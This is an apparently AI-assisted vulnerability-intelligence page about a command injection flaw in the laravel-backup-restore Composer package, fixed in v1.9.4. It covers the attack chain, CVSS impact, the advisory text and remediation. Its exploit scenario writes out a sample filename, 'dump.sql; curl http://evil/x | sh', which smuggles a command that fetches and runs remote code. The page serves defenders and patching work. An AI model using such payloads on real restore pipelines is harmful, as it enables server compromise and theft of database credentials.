Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessCraft ZIP with malicious db-dumps filename
-
DeliveryDeliver archive to restore source
-
ExploitOperator or job triggers restore
-
ExecutionFilename interpolated into shell command
-
PersistPayload executed as app user
-
ImpactApplication/database compromise and lateral movement
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK
1 technique across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires that an operator or automation restore an attacker-controlled backup archive using laravel-backup-restore before v1.9.4 - the concrete prerequisite is attacker influence over the ZIP entry filename of a file placed under the db-dumps directory of the archive, and a database restore being invoked against that archive. The limiting factors are: user interaction is required (UI:R - the restore must actually be triggered by an operator or scheduled job), the attacker must get the malicious archive into the restore source, and it only fires on the database-restore code path (not on backup creation or normal application traffic). No target-side authentication of the attacker is needed beyond delivering the archive; the impact runs with the privileges of the PHP/Laravel application user performing the restore. This is exploitable against default configurations since there is no setting that disables the vulnerable path. |
| Impact | The published CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H, base 8.0) reflects genuine high technical impact (full C/I/A on the host as the app user) gated by required user interaction - an operator or automation must be induced to restore the malicious archive. This is a meaningful gate: the vulnerability is not self-triggering and depends on a trust boundary being crossed (restoring a backup from an untrusted or attacker-influenced source). No EPSS score, KEV listing, or POC was provided, so quantitative exploitation likelihood cannot be confirmed; the absence of KEV/POC suggests this is not currently subject to mass exploitation. The realistic risk is elevated in environments with automated restore pipelines that pull archives from shared or externally-writable storage, and lower where restores are manual and archives come only from a trusted internal source. Note the UI:R requirement means raw base score 8.0 overstates opportunistic remote risk - this is primarily a supply-chain/trust-of-backup issue rather than a drive-by network RCE. |
| Exploit ScenarioDerived | An attacker crafts a backup ZIP whose entry under db-dumps is named something like 'dump.sql; curl http://evil/x | sh' (or a $(...) payload), then gets it into a location an operator or automated pipeline will restore from - for example a shared backup bucket or a restore-on-upload feature. When the restore runs, the filename is interpolated into the shell import command and the injected payload executes as the Laravel application user. No public exploit code has been identified, but the payload construction is trivial given the AC:L rating. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 09, 2026
OS command injection in the wnx/laravel-backup-restore Composer package (fixed in v1.9.4) allows an attacker who can get a malicious backup archive restored to run arbitrary shell commands as the Laravel application user. The restore workflow interpolates an unescaped ZIP entry filename from the db-dumps directory directly into shell command strings (mysql, psql, sqlite3, gunzip) executed via Symfony Process::fromShellCommandline(), so shell metacharacters in the filename are interpreted by /bin/sh. No public exploit identified at time of analysis and the issue is not in CISA KEV, but the flaw is trivially exploitable once a crafted archive reaches the restore path.
RemediationAI
Primary fix: upgrade to laravel-backup-restore v1.9.4 or later (Vendor-released patch: v1.9.4), e.g. 'composer require wnx/laravel-backup-restore:^1.9.4' then redeploy. The vendor states there is no configuration flag that disables the vulnerable code path, so upgrading is the only complete fix. As interim compensating controls until you can upgrade: restore only backup archives originating from a trusted, integrity-verified source and never from user-supplied or externally-writable storage (trade-off: breaks workflows that ingest external backups); validate or reject ZIP entry filenames under db-dumps that contain shell metacharacters before invoking the restore (trade-off: requires custom code and may reject legitimately odd filenames); and run the restore process under a least-privileged, sandboxed OS account to limit blast radius if injection occurs (trade-off: does not prevent the injection, only contains it). Refer to advisory GHSA-w9mx-xmg4-gc4r for authoritative guidance.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in composer, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The affected component is a Laravel package (pkg:composer/wnx_laravel-backup-restore) that companions spatie/laravel-backup by handling database restore from backup ZIP archives. The root cause is CWE-77 (Command Injection): the restore routine enumerates files under db-dumps, resolves the dump to an absolute path, and builds import commands as raw shell strings such as 'mysql ... < {dumpFile}' or 'gunzip -c {dumpFile}'. Because Illuminate\Support\Facades\Process::run(string) delegates to Symfony's Process::fromShellCommandline(), the whole string is handed to the platform shell (/bin/sh on Unix, cmd/PowerShell on Windows) rather than executed as an argv array, so metacharacters ($(), ;, |, backticks) embedded in the attacker-controlled filename are evaluated. Importantly the injection is in the ZIP entry filename metadata, not in the SQL dump content, so it fires before any database import actually reads the dump.
Know when PHP gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
Attacker supplies the archive so needs no target privileges (PR:N), but a restore must be triggered (UI:R); trivial payload crafting (AC:L) yields full code execution as the app user (C:H/I:H/A:H).
Primary rating from Vendor (https://github.com/stefanzweifel/laravel-backup-restore).
CVSS VectorVendor: https://github.com/stefanzweifel/laravel-backup-restore
DescriptionCVE.org
Summary
A crafted backup archive can trigger OS command injection during database restore. The restore workflow extracts a ZIP archive, enumerates files under db-dumps, converts the dump path to an absolute path, and passes that path into database import commands that are built as shell command strings.
The dump filename is not shell-escaped before it is interpolated into commands such as:
mysql ... < {dumpFile}gunzip -c {dumpFile}/gunzip < {dumpFile}psql ... < {dumpFile}sqlite3 ... < {dumpFile}
Because Illuminate\Support\Facades\Process::run(string) uses Symfony Process::fromShellCommandline(), shell metacharacters in the dump filename are interpreted by /bin/sh on Unix-like systems or by the platform shell on Windows.
Impact
If an attacker can cause an operator or automation to restore a malicious backup archive, the attacker can execute arbitrary shell commands as the PHP/Laravel application user on the system performing the restore. This can lead to application compromise, database credential disclosure, tampering with restored data, and further lateral movement depending on deployment permissions.
This is not about malicious SQL inside the dump. The command injection is carried in the ZIP entry filename under db-dumps, before the dump content is imported.
Patches
The vulnerability has been fixed in v1.9.4 of the package.
Workarounds
There is no configuration option that disables the vulnerable code path. Upgrading to the patched release is the only complete fix.
Executive ViewAI
The laravel-backup-restore Composer package contains a vulnerability in how it processes database backup files that could allow an attacker to execute arbitrary commands on your server infrastructure. Although no public exploit has been identified, the flaw is trivially exploitable once a malicious backup file is restored, making it a significant risk for organizations using this package in their database backup workflows.
Apply vendor patch: update laravel-backup-restore to version 1.9.4 or later.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
EUVD-2026-71722
GHSA-w9mx-xmg4-gc4r
NVD
CVE.org
EPSS
Exploit-DB